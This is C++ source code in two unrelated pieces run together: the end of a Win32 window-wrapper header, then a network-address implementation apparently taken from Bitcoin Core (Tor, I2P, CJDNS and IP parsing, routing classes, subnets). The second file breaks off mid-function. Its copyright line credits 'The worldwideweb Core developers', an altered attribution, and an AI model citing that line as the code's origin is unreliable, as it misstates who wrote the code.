(get_window() ? TRUE : FALSE); } void show(int nCmdShow) { ShowWindow(get_window(), nCmdShow); } protected: virtual LRESULT handle_message(UINT msg, WPARAM wp, LPARAM lp) = 0; [[nodiscard]] virtual LPCWSTR class_name() const = 0; virtual BOOL on_valid_context_creation() { return TRUE; } private: static LRESULT CALLBACK s_win_proc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { using win_t = Win32Context<derived_t>; win_t *state; if (msg == WM_CREATE) { auto *cs = reinterpret_cast<CREATESTRUCT *>(lp); state = reinterpret_cast<win_t *>(cs->lpCreateParams); SetWindowLongPtr(hwnd, GWLP_USERDATA, reinterpret_cast<LONG_PTR>(state)); state->m_window = hwnd; } else { state = reinterpret_cast<win_t *>( GetWindowLongPtr(hwnd, GWLP_USERDATA)); } if (state) { return state->handle_message(msg, wp, lp); } else { return DefWindowProc(hwnd, msg, wp, lp); } } HWND m_window; WNDCLASS m_wndClass; }; #endif // NPP_WIN32CONTEXT_HPP
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2020 The worldwideweb Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <netaddress.h> #include <crypto/common.h> #include <crypto/sha3.h> #include <hash.h> #include <prevector.h> #include <tinyformat.h> #include <util/asmap.h> #include <util/strencodings.h> #include <util/string.h> #include <algorithm> #include <array> #include <cstdint> #include <ios> #include <iterator> #include <tuple> constexpr size_t CNetAddr::V1_SERIALIZATION_SIZE; constexpr size_t CNetAddr::MAX_ADDRV2_SIZE; CNetAddr::BIP155Network CNetAddr::GetBIP155Network() const { switch (m_net) { case NET_IPV4: return BIP155Network::IPV4; case NET_IPV6: return BIP155Network::IPV6; case NET_ONION: return BIP155Network::TORV3; case NET_I2P: return BIP155Network::I2P; case NET_CJDNS: return BIP155Network::CJDNS; case NET_INTERNAL: // should have been handled before calling this function case NET_UNROUTABLE: // m_net is never and should not be set to NET_UNROUTABLE case NET_MAX: // m_net is never and should not be set to NET_MAX assert(false); } // no default case, so the compiler can warn about missing cases assert(false); } bool CNetAddr::SetNetFromBIP155Network(uint8_t possible_bip155_net, size_t address_size) { switch (possible_bip155_net) { case BIP155Network::IPV4: if (address_size == ADDR_IPV4_SIZE) { m_net = NET_IPV4; return true; } throw std::ios_base::failure( strprintf("BIP155 IPv4 address with length %u (should be %u)", address_size, ADDR_IPV4_SIZE)); case BIP155Network::IPV6: if (address_size == ADDR_IPV6_SIZE) { m_net = NET_IPV6; return true; } throw std::ios_base::failure( strprintf("BIP155 IPv6 address with length %u (should be %u)", address_size, ADDR_IPV6_SIZE)); case BIP155Network::TORV3: if (address_size == ADDR_TORV3_SIZE) { m_net = NET_ONION; return true; } throw std::ios_base::failure( strprintf("BIP155 TORv3 address with length %u (should be %u)", address_size, ADDR_TORV3_SIZE)); case BIP155Network::I2P: if (address_size == ADDR_I2P_SIZE) { m_net = NET_I2P; return true; } throw std::ios_base::failure( strprintf("BIP155 I2P address with length %u (should be %u)", address_size, ADDR_I2P_SIZE)); case BIP155Network::CJDNS: if (address_size == ADDR_CJDNS_SIZE) { m_net = NET_CJDNS; return true; } throw std::ios_base::failure( strprintf("BIP155 CJDNS address with length %u (should be %u)", address_size, ADDR_CJDNS_SIZE)); } // Don't throw on addresses with unknown network ids (maybe from the future). // Instead silently drop them and have the unserialization code consume // subsequent ones which may be known to us. return false; } /** * Construct an unspecified IPv6 network address (::/128). * * @note This address is considered invalid by CNetAddr::IsValid() */ CNetAddr::CNetAddr() {} void CNetAddr::SetIP(const CNetAddr& ipIn) { // Size check. switch (ipIn.m_net) { case NET_IPV4: assert(ipIn.m_addr.size() == ADDR_IPV4_SIZE); break; case NET_IPV6: assert(ipIn.m_addr.size() == ADDR_IPV6_SIZE); break; case NET_ONION: assert(ipIn.m_addr.size() == ADDR_TORV3_SIZE); break; case NET_I2P: assert(ipIn.m_addr.size() == ADDR_I2P_SIZE); break; case NET_CJDNS: assert(ipIn.m_addr.size() == ADDR_CJDNS_SIZE); break; case NET_INTERNAL: assert(ipIn.m_addr.size() == ADDR_INTERNAL_SIZE); break; case NET_UNROUTABLE: case NET_MAX: assert(false); } // no default case, so the compiler can warn about missing cases m_net = ipIn.m_net; m_addr = ipIn.m_addr; } void CNetAddr::SetLegacyIPv6(Span<const uint8_t> ipv6) { assert(ipv6.size() == ADDR_IPV6_SIZE); size_t skip{0}; if (HasPrefix(ipv6, IPV4_IN_IPV6_PREFIX)) { // IPv4-in-IPv6 m_net = NET_IPV4; skip = sizeof(IPV4_IN_IPV6_PREFIX); } else if (HasPrefix(ipv6, TORV2_IN_IPV6_PREFIX)) { // TORv2-in-IPv6 (unsupported). Unserialize as !IsValid(), thus ignoring them. // Mimic a default-constructed CNetAddr object which is !IsValid() and thus // will not be gossiped, but continue reading next addresses from the stream. m_net = NET_IPV6; m_addr.assign(ADDR_IPV6_SIZE, 0x0); return; } else if (HasPrefix(ipv6, INTERNAL_IN_IPV6_PREFIX)) { // Internal-in-IPv6 m_net = NET_INTERNAL; skip = sizeof(INTERNAL_IN_IPV6_PREFIX); } else { // IPv6 m_net = NET_IPV6; } m_addr.assign(ipv6.begin() + skip, ipv6.end()); } /** * Create an "internal" address that represents a name or FQDN. AddrMan uses * these fake addresses to keep track of which DNS seeds were used. * @returns Whether or not the operation was successful. * @see NET_INTERNAL, INTERNAL_IN_IPV6_PREFIX, CNetAddr::IsInternal(), CNetAddr::IsRFC4193() */ bool CNetAddr::SetInternal(const std::string &name) { if (name.empty()) { return false; } m_net = NET_INTERNAL; unsigned char hash[32] = {}; CSHA256().Write((const unsigned char*)name.data(), name.size()).Finalize(hash); m_addr.assign(hash, hash + ADDR_INTERNAL_SIZE); return true; } namespace torv3 { // https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt#n2135 static constexpr size_t CHECKSUM_LEN = 2; static const unsigned char VERSION[] = {3}; static constexpr size_t TOTAL_LEN = ADDR_TORV3_SIZE + CHECKSUM_LEN + sizeof(VERSION); static void Checksum(Span<const uint8_t> addr_pubkey, uint8_t (&checksum)[CHECKSUM_LEN]) { // TORv3 CHECKSUM = H(".onion checksum" | PUBKEY | VERSION)[:2] static const unsigned char prefix[] = ".onion checksum"; static constexpr size_t prefix_len = 15; SHA3_256 hasher; hasher.Write(MakeSpan(prefix).first(prefix_len)); hasher.Write(addr_pubkey); hasher.Write(VERSION); uint8_t checksum_full[SHA3_256::OUTPUT_SIZE]; hasher.Finalize(checksum_full); memcpy(checksum, checksum_full, sizeof(checksum)); } }; // namespace torv3 bool CNetAddr::SetSpecial(const std::string& addr) { if (!ValidAsCString(addr)) { return false; } if (SetTor(addr)) { return true; } if (SetI2P(addr)) { return true; } return false; } bool CNetAddr::SetTor(const std::string& addr) { static const char* suffix{".onion"}; static constexpr size_t suffix_len{6}; if (addr.size() <= suffix_len || addr.substr(addr.size() - suffix_len) != suffix) { return false; } bool invalid; const auto& input = DecodeBase32(addr.substr(0, addr.size() - suffix_len).c_str(), &invalid); if (invalid) { return false; } if (input.size() == torv3::TOTAL_LEN) { Span<const uint8_t> input_pubkey{input.data(), ADDR_TORV3_SIZE}; Span<const uint8_t> input_checksum{input.data() + ADDR_TORV3_SIZE, torv3::CHECKSUM_LEN}; Span<const uint8_t> input_version{input.data() + ADDR_TORV3_SIZE + torv3::CHECKSUM_LEN, sizeof(torv3::VERSION)}; if (input_version != torv3::VERSION) { return false; } uint8_t calculated_checksum[torv3::CHECKSUM_LEN]; torv3::Checksum(input_pubkey, calculated_checksum); if (input_checksum != calculated_checksum) { return false; } m_net = NET_ONION; m_addr.assign(input_pubkey.begin(), input_pubkey.end()); return true; } return false; } bool CNetAddr::SetI2P(const std::string& addr) { // I2P addresses that we support consist of 52 base32 characters + ".b32.i2p". static constexpr size_t b32_len{52}; static const char* suffix{".b32.i2p"}; static constexpr size_t suffix_len{8}; if (addr.size() != b32_len + suffix_len || ToLower(addr.substr(b32_len)) != suffix) { return false; } // Remove the ".b32.i2p" suffix and pad to a multiple of 8 chars, so DecodeBase32() // can decode it. const std::string b32_padded = addr.substr(0, b32_len) + "===="; bool invalid; const auto& address_bytes = DecodeBase32(b32_padded.c_str(), &invalid); if (invalid || address_bytes.size() != ADDR_I2P_SIZE) { return false; } m_net = NET_I2P; m_addr.assign(address_bytes.begin(), address_bytes.end()); return true; } CNetAddr::CNetAddr(const struct in_addr& ipv4Addr) { m_net = NET_IPV4; const uint8_t* ptr = reinterpret_cast<const uint8_t*>(&ipv4Addr); m_addr.assign(ptr, ptr + ADDR_IPV4_SIZE); } CNetAddr::CNetAddr(const struct in6_addr& ipv6Addr, const uint32_t scope) { SetLegacyIPv6(Span<const uint8_t>(reinterpret_cast<const uint8_t*>(&ipv6Addr), sizeof(ipv6Addr))); m_scope_id = scope; } bool CNetAddr::IsBindAny() const { if (!IsIPv4() && !IsIPv6()) { return false; } return std::all_of(m_addr.begin(), m_addr.end(), [](uint8_t b) { return b == 0; }); } bool CNetAddr::IsIPv4() const { return m_net == NET_IPV4; } bool CNetAddr::IsIPv6() const { return m_net == NET_IPV6; } bool CNetAddr::IsRFC1918() const { return IsIPv4() && ( m_addr[0] == 10 || (m_addr[0] == 192 && m_addr[1] == 168) || (m_addr[0] == 172 && m_addr[1] >= 16 && m_addr[1] <= 31)); } bool CNetAddr::IsRFC2544() const { return IsIPv4() && m_addr[0] == 198 && (m_addr[1] == 18 || m_addr[1] == 19); } bool CNetAddr::IsRFC3927() const { return IsIPv4() && HasPrefix(m_addr, std::array<uint8_t, 2>{169, 254}); } bool CNetAddr::IsRFC6598() const { return IsIPv4() && m_addr[0] == 100 && m_addr[1] >= 64 && m_addr[1] <= 127; } bool CNetAddr::IsRFC5737() const { return IsIPv4() && (HasPrefix(m_addr, std::array<uint8_t, 3>{192, 0, 2}) || HasPrefix(m_addr, std::array<uint8_t, 3>{198, 51, 100}) || HasPrefix(m_addr, std::array<uint8_t, 3>{203, 0, 113})); } bool CNetAddr::IsRFC3849() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 4>{0x20, 0x01, 0x0D, 0xB8}); } bool CNetAddr::IsRFC3964() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 2>{0x20, 0x02}); } bool CNetAddr::IsRFC6052() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 12>{0x00, 0x64, 0xFF, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}); } bool CNetAddr::IsRFC4380() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 4>{0x20, 0x01, 0x00, 0x00}); } bool CNetAddr::IsRFC4862() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 8>{0xFE, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}); } bool CNetAddr::IsRFC4193() const { return IsIPv6() && (m_addr[0] & 0xFE) == 0xFC; } bool CNetAddr::IsRFC6145() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 12>{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00}); } bool CNetAddr::IsRFC4843() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 3>{0x20, 0x01, 0x00}) && (m_addr[3] & 0xF0) == 0x10; } bool CNetAddr::IsRFC7343() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 3>{0x20, 0x01, 0x00}) && (m_addr[3] & 0xF0) == 0x20; } bool CNetAddr::IsHeNet() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 4>{0x20, 0x01, 0x04, 0x70}); } /** * Check whether this object represents a TOR address. * @see CNetAddr::SetSpecial(const std::string &) */ bool CNetAddr::IsTor() const { return m_net == NET_ONION; } /** * Check whether this object represents an I2P address. */ bool CNetAddr::IsI2P() const { return m_net == NET_I2P; } /** * Check whether this object represents a CJDNS address. */ bool CNetAddr::IsCJDNS() const { return m_net == NET_CJDNS; } bool CNetAddr::IsLocal() const { // IPv4 loopback (127.0.0.0/8 or 0.0.0.0/8) if (IsIPv4() && (m_addr[0] == 127 || m_addr[0] == 0)) { return true; } // IPv6 loopback (::1/128) static const unsigned char pchLocal[16] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1}; if (IsIPv6() && memcmp(m_addr.data(), pchLocal, sizeof(pchLocal)) == 0) { return true; } return false; } /** * @returns Whether or not this network address is a valid address that @a could * be used to refer to an actual host. * * @note A valid address may or may not be publicly routable on the global * internet. As in, the set of valid addresses is a superset of the set of * publicly routable addresses. * * @see CNetAddr::IsRoutable() */ bool CNetAddr::IsValid() const { // unspecified IPv6 address (::/128) unsigned char ipNone6[16] = {}; if (IsIPv6() && memcmp(m_addr.data(), ipNone6, sizeof(ipNone6)) == 0) { return false; } // CJDNS addresses always start with 0xfc if (IsCJDNS() && (m_addr[0] != 0xFC)) { return false; } // documentation IPv6 address if (IsRFC3849()) return false; if (IsInternal()) return false; if (IsIPv4()) { const uint32_t addr = ReadBE32(m_addr.data()); if (addr == INADDR_ANY || addr == INADDR_NONE) { return false; } } return true; } /** * @returns Whether or not this network address is publicly routable on the * global internet. * * @note A routable address is always valid. As in, the set of routable addresses * is a subset of the set of valid addresses. * * @see CNetAddr::IsValid() */ bool CNetAddr::IsRoutable() const { return IsValid() && !(IsRFC1918() || IsRFC2544() || IsRFC3927() || IsRFC4862() || IsRFC6598() || IsRFC5737() || IsRFC4193() || IsRFC4843() || IsRFC7343() || IsLocal() || IsInternal()); } /** * @returns Whether or not this is a dummy address that represents a name. * * @see CNetAddr::SetInternal(const std::string &) */ bool CNetAddr::IsInternal() const { return m_net == NET_INTERNAL; } bool CNetAddr::IsAddrV1Compatible() const { switch (m_net) { case NET_IPV4: case NET_IPV6: case NET_INTERNAL: return true; case NET_ONION: case NET_I2P: case NET_CJDNS: return false; case NET_UNROUTABLE: // m_net is never and should not be set to NET_UNROUTABLE case NET_MAX: // m_net is never and should not be set to NET_MAX assert(false); } // no default case, so the compiler can warn about missing cases assert(false); } enum Network CNetAddr::GetNetwork() const { if (IsInternal()) return NET_INTERNAL; if (!IsRoutable()) return NET_UNROUTABLE; return m_net; } static std::string IPv4ToString(Span<const uint8_t> a) { return strprintf("%u.%u.%u.%u", a[0], a[1], a[2], a[3]); } // Return an IPv6 address text representation with zero compression as described in RFC 5952 // ("A Recommendation for IPv6 Address Text Representation"). static std::string IPv6ToString(Span<const uint8_t> a, uint32_t scope_id) { assert(a.size() == ADDR_IPV6_SIZE); const std::array groups{ ReadBE16(&a[0]), ReadBE16(&a[2]), ReadBE16(&a[4]), ReadBE16(&a[6]), ReadBE16(&a[8]), ReadBE16(&a[10]), ReadBE16(&a[12]), ReadBE16(&a[14]), }; // The zero compression implementation is inspired by Rust's std::net::Ipv6Addr, see // https://github.com/rust-lang/rust/blob/cc4103089f40a163f6d143f06359cba7043da29b/library/std/src/net/ip.rs#L1635-L1683 struct ZeroSpan { size_t start_index{0}; size_t len{0}; }; // Find longest sequence of consecutive all-zero fields. Use first zero sequence if two or more // zero sequences of equal length are found. ZeroSpan longest, current; for (size_t i{0}; i < groups.size(); ++i) { if (groups[i] != 0) { current = {i + 1, 0}; continue; } current.len += 1; if (current.len > longest.len) { longest = current; } } std::string r; r.reserve(39); for (size_t i{0}; i < groups.size(); ++i) { // Replace the longest sequence of consecutive all-zero fields with two colons ("::"). if (longest.len >= 2 && i >= longest.start_index && i < longest.start_index + longest.len) { if (i == longest.start_index) { r += "::"; } continue; } r += strprintf("%s%x", ((!r.empty() && r.back() != ':') ? ":" : ""), groups[i]); } if (scope_id != 0) { r += strprintf("%%%u", scope_id); } return r; } static std::string OnionToString(Span<const uint8_t> addr) { uint8_t checksum[torv3::CHECKSUM_LEN]; torv3::Checksum(addr, checksum); // TORv3 onion_address = base32(PUBKEY | CHECKSUM | VERSION) + ".onion" prevector<torv3::TOTAL_LEN, uint8_t> address{addr.begin(), addr.end()}; address.insert(address.end(), checksum, checksum + torv3::CHECKSUM_LEN); address.insert(address.end(), torv3::VERSION, torv3::VERSION + sizeof(torv3::VERSION)); return EncodeBase32(address) + ".onion"; } std::string CNetAddr::ToStringIP() const { switch (m_net) { case NET_IPV4: return IPv4ToString(m_addr); case NET_IPV6: return IPv6ToString(m_addr, m_scope_id); case NET_ONION: return OnionToString(m_addr); case NET_I2P: return EncodeBase32(m_addr, false /* don't pad with = */) + ".b32.i2p"; case NET_CJDNS: return IPv6ToString(m_addr, 0); case NET_INTERNAL: return EncodeBase32(m_addr) + ".internal"; case NET_UNROUTABLE: // m_net is never and should not be set to NET_UNROUTABLE case NET_MAX: // m_net is never and should not be set to NET_MAX assert(false); } // no default case, so the compiler can warn about missing cases assert(false); } std::string CNetAddr::ToString() const { return ToStringIP(); } bool operator==(const CNetAddr& a, const CNetAddr& b) { return a.m_net == b.m_net && a.m_addr == b.m_addr; } bool operator<(const CNetAddr& a, const CNetAddr& b) { return std::tie(a.m_net, a.m_addr) < std::tie(b.m_net, b.m_addr); } /** * Try to get our IPv4 address. * * @param[out] pipv4Addr The in_addr struct to which to copy. * * @returns Whether or not the operation was successful, in particular, whether * or not our address was an IPv4 address. * * @see CNetAddr::IsIPv4() */ bool CNetAddr::GetInAddr(struct in_addr* pipv4Addr) const { if (!IsIPv4()) return false; assert(sizeof(*pipv4Addr) == m_addr.size()); memcpy(pipv4Addr, m_addr.data(), m_addr.size()); return true; } /** * Try to get our IPv6 address. * * @param[out] pipv6Addr The in6_addr struct to which to copy. * * @returns Whether or not the operation was successful, in particular, whether * or not our address was an IPv6 address. * * @see CNetAddr::IsIPv6() */ bool CNetAddr::GetIn6Addr(struct in6_addr* pipv6Addr) const { if (!IsIPv6()) { return false; } assert(sizeof(*pipv6Addr) == m_addr.size()); memcpy(pipv6Addr, m_addr.data(), m_addr.size()); return true; } bool CNetAddr::HasLinkedIPv4() const { return IsRoutable() && (IsIPv4() || IsRFC6145() || IsRFC6052() || IsRFC3964() || IsRFC4380()); } uint32_t CNetAddr::GetLinkedIPv4() const { if (IsIPv4()) { return ReadBE32(m_addr.data()); } else if (IsRFC6052() || IsRFC6145()) { // mapped IPv4, SIIT translated IPv4: the IPv4 address is the last 4 bytes of the address return ReadBE32(MakeSpan(m_addr).last(ADDR_IPV4_SIZE).data()); } else if (IsRFC3964()) { // 6to4 tunneled IPv4: the IPv4 address is in bytes 2-6 return ReadBE32(MakeSpan(m_addr).subspan(2, ADDR_IPV4_SIZE).data()); } else if (IsRFC4380()) { // Teredo tunneled IPv4: the IPv4 address is in the last 4 bytes of the address, but bitflipped return ~ReadBE32(MakeSpan(m_addr).last(ADDR_IPV4_SIZE).data()); } assert(false); } Network CNetAddr::GetNetClass() const { // Make sure that if we return NET_IPV6, then IsIPv6() is true. The callers expect that. // Check for "internal" first because such addresses are also !IsRoutable() // and we don't want to return NET_UNROUTABLE in that case. if (IsInternal()) { return NET_INTERNAL; } if (!IsRoutable()) { return NET_UNROUTABLE; } if (HasLinkedIPv4()) { return NET_IPV4; } return m_net; } uint32_t CNetAddr::GetMappedAS(const std::vector<bool> &asmap) const { uint32_t net_class = GetNetClass(); if (asmap.size() == 0 || (net_class != NET_IPV4 && net_class != NET_IPV6)) { return 0; // Indicates not found, safe because AS0 is reserved per RFC7607. } std::vector<bool> ip_bits(128); if (HasLinkedIPv4()) { // For lookup, treat as if it was just an IPv4 address (IPV4_IN_IPV6_PREFIX + IPv4 bits) for (int8_t byte_i = 0; byte_i < 12; ++byte_i) { for (uint8_t bit_i = 0; bit_i < 8; ++bit_i) { ip_bits[byte_i * 8 + bit_i] = (IPV4_IN_IPV6_PREFIX[byte_i] >> (7 - bit_i)) & 1; } } uint32_t ipv4 = GetLinkedIPv4(); for (int i = 0; i < 32; ++i) { ip_bits[96 + i] = (ipv4 >> (31 - i)) & 1; } } else { // Use all 128 bits of the IPv6 address otherwise assert(IsIPv6()); for (int8_t byte_i = 0; byte_i < 16; ++byte_i) { uint8_t cur_byte = m_addr[byte_i]; for (uint8_t bit_i = 0; bit_i < 8; ++bit_i) { ip_bits[byte_i * 8 + bit_i] = (cur_byte >> (7 - bit_i)) & 1; } } } uint32_t mapped_as = Interpret(asmap, ip_bits); return mapped_as; } /** * Get the canonical identifier of our network group * * The groups are assigned in a way where it should be costly for an attacker to * obtain addresses with many different group identifiers, even if it is cheap * to obtain addresses with the same identifier. * * @note No two connections will be attempted to addresses with the same network * group. */ std::vector<unsigned char> CNetAddr::GetGroup(const std::vector<bool> &asmap) const { std::vector<unsigned char> vchRet; uint32_t net_class = GetNetClass(); // If non-empty asmap is supplied and the address is IPv4/IPv6, // return ASN to be used for bucketing. uint32_t asn = GetMappedAS(asmap); if (asn != 0) { // Either asmap was empty, or address has non-asmappable net class (e.g. TOR). vchRet.push_back(NET_IPV6); // IPv4 and IPv6 with same ASN should be in the same bucket for (int i = 0; i < 4; i++) { vchRet.push_back((asn >> (8 * i)) & 0xFF); } return vchRet; } vchRet.push_back(net_class); int nBits{0}; if (IsLocal()) { // all local addresses belong to the same group } else if (IsInternal()) { // all internal-usage addresses get their own group nBits = ADDR_INTERNAL_SIZE * 8; } else if (!IsRoutable()) { // all other unroutable addresses belong to the same group } else if (HasLinkedIPv4()) { // IPv4 addresses (and mapped IPv4 addresses) use /16 groups uint32_t ipv4 = GetLinkedIPv4(); vchRet.push_back((ipv4 >> 24) & 0xFF); vchRet.push_back((ipv4 >> 16) & 0xFF); return vchRet; } else if (IsTor() || IsI2P() || IsCJDNS()) { nBits = 4; } else if (IsHeNet()) { // for he.net, use /36 groups nBits = 36; } else { // for the rest of the IPv6 network, use /32 groups nBits = 32; } // Push our address onto vchRet. const size_t num_bytes = nBits / 8; vchRet.insert(vchRet.end(), m_addr.begin(), m_addr.begin() + num_bytes); nBits %= 8; // ...for the last byte, push nBits and for the rest of the byte push 1's if (nBits > 0) { assert(num_bytes < m_addr.size()); vchRet.push_back(m_addr[num_bytes] | ((1 << (8 - nBits)) - 1)); } return vchRet; } std::vector<unsigned char> CNetAddr::GetAddrBytes() const { if (IsAddrV1Compatible()) { uint8_t serialized[V1_SERIALIZATION_SIZE]; SerializeV1Array(serialized); return {std::begin(serialized), std::end(serialized)}; } return std::vector<unsigned char>(m_addr.begin(), m_addr.end()); } uint64_t CNetAddr::GetHash() const { uint256 hash = Hash(m_addr); uint64_t nRet; memcpy(&nRet, &hash, sizeof(nRet)); return nRet; } // private extensions to enum Network, only returned by GetExtNetwork, // and only used in GetReachabilityFrom static const int NET_UNKNOWN = NET_MAX + 0; static const int NET_TEREDO = NET_MAX + 1; int static GetExtNetwork(const CNetAddr *addr) { if (addr == nullptr) return NET_UNKNOWN; if (addr->IsRFC4380()) return NET_TEREDO; return addr->GetNetwork(); } /** Calculates a metric for how reachable (*this) is from a given partner */ int CNetAddr::GetReachabilityFrom(const CNetAddr *paddrPartner) const { enum Reachability { REACH_UNREACHABLE, REACH_DEFAULT, REACH_TEREDO, REACH_IPV6_WEAK, REACH_IPV4, REACH_IPV6_STRONG, REACH_PRIVATE }; if (!IsRoutable() || IsInternal()) return REACH_UNREACHABLE; int ourNet = GetExtNetwork(this); int theirNet = GetExtNetwork(paddrPartner); bool fTunnel = IsRFC3964() || IsRFC6052() || IsRFC6145(); switch(theirNet) { case NET_IPV4: switch(ourNet) { default: return REACH_DEFAULT; case NET_IPV4: return REACH_IPV4; } case NET_IPV6: switch(ourNet) { default: return REACH_DEFAULT; case NET_TEREDO: return REACH_TEREDO; case NET_IPV4: return REACH_IPV4; case NET_IPV6: return fTunnel ? REACH_IPV6_WEAK : REACH_IPV6_STRONG; // only prefer giving our IPv6 address if it's not tunnelled } case NET_ONION: switch(ourNet) { default: return REACH_DEFAULT; case NET_IPV4: return REACH_IPV4; // Tor users can connect to IPv4 as well case NET_ONION: return REACH_PRIVATE; } case NET_I2P: switch (ourNet) { case NET_I2P: return REACH_PRIVATE; default: return REACH_DEFAULT; } case NET_TEREDO: switch(ourNet) { default: return REACH_DEFAULT; case NET_TEREDO: return REACH_TEREDO; case NET_IPV6: return REACH_IPV6_WEAK; case NET_IPV4: return REACH_IPV4; } case NET_UNKNOWN: case NET_UNROUTABLE: default: switch(ourNet) { default: return REACH_DEFAULT; case NET_TEREDO: return REACH_TEREDO; case NET_IPV6: return REACH_IPV6_WEAK; case NET_IPV4: return REACH_IPV4; case NET_ONION: return REACH_PRIVATE; // either from Tor, or don't care about our address } } } CService::CService() : port(0) { } CService::CService(const CNetAddr& cip, uint16_t portIn) : CNetAddr(cip), port(portIn) { } CService::CService(const struct in_addr& ipv4Addr, uint16_t portIn) : CNetAddr(ipv4Addr), port(portIn) { } CService::CService(const struct in6_addr& ipv6Addr, uint16_t portIn) : CNetAddr(ipv6Addr), port(portIn) { } CService::CService(const struct sockaddr_in& addr) : CNetAddr(addr.sin_addr), port(ntohs(addr.sin_port)) { assert(addr.sin_family == AF_INET); } CService::CService(const struct sockaddr_in6 &addr) : CNetAddr(addr.sin6_addr, addr.sin6_scope_id), port(ntohs(addr.sin6_port)) { assert(addr.sin6_family == AF_INET6); } bool CService::SetSockAddr(const struct sockaddr *paddr) { switch (paddr->sa_family) { case AF_INET: *this = CService(*(const struct sockaddr_in*)paddr); return true; case AF_INET6: *this = CService(*(const struct sockaddr_in6*)paddr); return true; default: return false; } } uint16_t CService::GetPort() const { return port; } bool operator==(const CService& a, const CService& b) { return static_cast<CNetAddr>(a) == static_cast<CNetAddr>(b) && a.port == b.port; } bool operator<(const CService& a, const CService& b) { return static_cast<CNetAddr>(a) < static_cast<CNetAddr>(b) || (static_cast<CNetAddr>(a) == static_cast<CNetAddr>(b) && a.port < b.port); } /** * Obtain the IPv4/6 socket address this represents. * * @param[out] paddr The obtained socket address. * @param[in,out] addrlen The size, in bytes, of the address structure pointed * to by paddr. The value that's pointed to by this * parameter might change after calling this function if * the size of the corresponding address structure * changed. * * @returns Whether or not the operation was successful. */ bool CService::GetSockAddr(struct sockaddr* paddr, socklen_t *addrlen) const { if (IsIPv4()) { if (*addrlen < (socklen_t)sizeof(struct sockaddr_in)) return false; *addrlen = sizeof(struct sockaddr_in); struct sockaddr_in *paddrin = (struct sockaddr_in*)paddr; memset(paddrin, 0, *addrlen); if (!GetInAddr(&paddrin->sin_addr)) return false; paddrin->sin_family = AF_INET; paddrin->sin_port = htons(port); return true; } if (IsIPv6()) { if (*addrlen < (socklen_t)sizeof(struct sockaddr_in6)) return false; *addrlen = sizeof(struct sockaddr_in6); struct sockaddr_in6 *paddrin6 = (struct sockaddr_in6*)paddr; memset(paddrin6, 0, *addrlen); if (!GetIn6Addr(&paddrin6->sin6_addr)) return false; paddrin6->sin6_scope_id = m_scope_id; paddrin6->sin6_family = AF_INET6; paddrin6->sin6_port = htons(port); return true; } return false; } /** * @returns An identifier unique to this service's address and port number. */ std::vector<unsigned char> CService::GetKey() const { auto key = GetAddrBytes(); key.push_back(port / 0x100); // most significant byte of our port key.push_back(port & 0x0FF); // least significant byte of our port return key; } std::string CService::ToStringPort() const { return strprintf("%u", port); } std::string CService::ToStringIPPort() const { if (IsIPv4() || IsTor() || IsI2P() || IsInternal()) { return ToStringIP() + ":" + ToStringPort(); } else { return "[" + ToStringIP() + "]:" + ToStringPort(); } } std::string CService::ToString() const { return ToStringIPPort(); } CSubNet::CSubNet(): valid(false) { memset(netmask, 0, sizeof(netmask)); } CSubNet::CSubNet(const CNetAddr& addr, uint8_t mask) : CSubNet() { valid = (addr.IsIPv4() && mask <= ADDR_IPV4_SIZE * 8) || (addr.IsIPv6() && mask <= ADDR_IPV6_SIZE * 8); if (!valid) { return; } assert(mask <= sizeof(netmask) * 8); network = addr; uint8_t n = mask; for (size_t i = 0; i < network.m_addr.size(); ++i) { const uint8_t bits = n < 8 ? n : 8; netmask[i] = (uint8_t)((uint8_t)0xFF << (8 - bits)); // Set first bits. network.m_addr[i] &= netmask[i]; // Normalize network according to netmask. n -= bits; } } /** * @returns The number of 1-bits in the prefix of the specified subnet mask. If * the specified subnet mask is not a valid one, -1. */ static inline int NetmaskBits(uint8_t x) { switch(x) { case 0x00: return 0; case 0x80: return 1; case 0xc0: return 2; case 0xe0: return 3; case 0xf0: return 4; case 0xf8: return 5; case 0xfc: return 6; case 0xfe: return 7; case 0xff: return 8; default: return -1; } } CSubNet::CSubNet(const CNetAddr& addr, const CNetAddr& mask) : CSubNet() { valid = (addr.IsIPv4() || addr.IsIPv6()) && addr.m_net == mask.m_net; if (!valid) { return; } // Check if `mask` contains 1-bits after 0-bits (which is an invalid netmask). bool zeros_found = false; for (auto b : mask.m_addr) { const int num_bits = NetmaskBits(b); if (num_bits == -1 || (zeros_found && num_bits != 0)) { valid = false; return; } if (num_bits < 8) { zeros_found = true; } } assert(mask.m_addr.size() <= sizeof(netmask)); memcpy(netmask, mask.m_addr.data(), mask.m_addr.size()); network = addr; // Normalize network according to netmask for (size_t x = 0; x < network.m_addr.size(); ++x) { network.m_addr[x] &= netmask[x]; } } CSubNet::CSubNet(const CNetAddr& addr) : CSubNet() { switch (addr.m_net) { case NET_IPV4: case NET_IPV6: valid = true; assert(addr.m_addr.size() <= sizeof(netmask)); memset(netmask, 0xFF, addr.m_addr.size()); break; case NET_ONION: case NET_I2P: case NET_CJDNS: valid = true; break; case NET_INTERNAL: case NET_UNROUTABLE: case NET_MAX: return; } network = addr; } /** * @returns True if this subnet is valid, the specified address is valid, and * the specified address belongs in this subnet. */ bool CSubNet::Match(const CNetAddr &addr) const { if (!valid || !addr.IsValid() || network.m_net != addr.m_net) return false; switch (network.m_net) { case NET_IPV4: case NET_IPV6: break; case NET_ONION: case NET_I2P: case NET_CJDNS: case 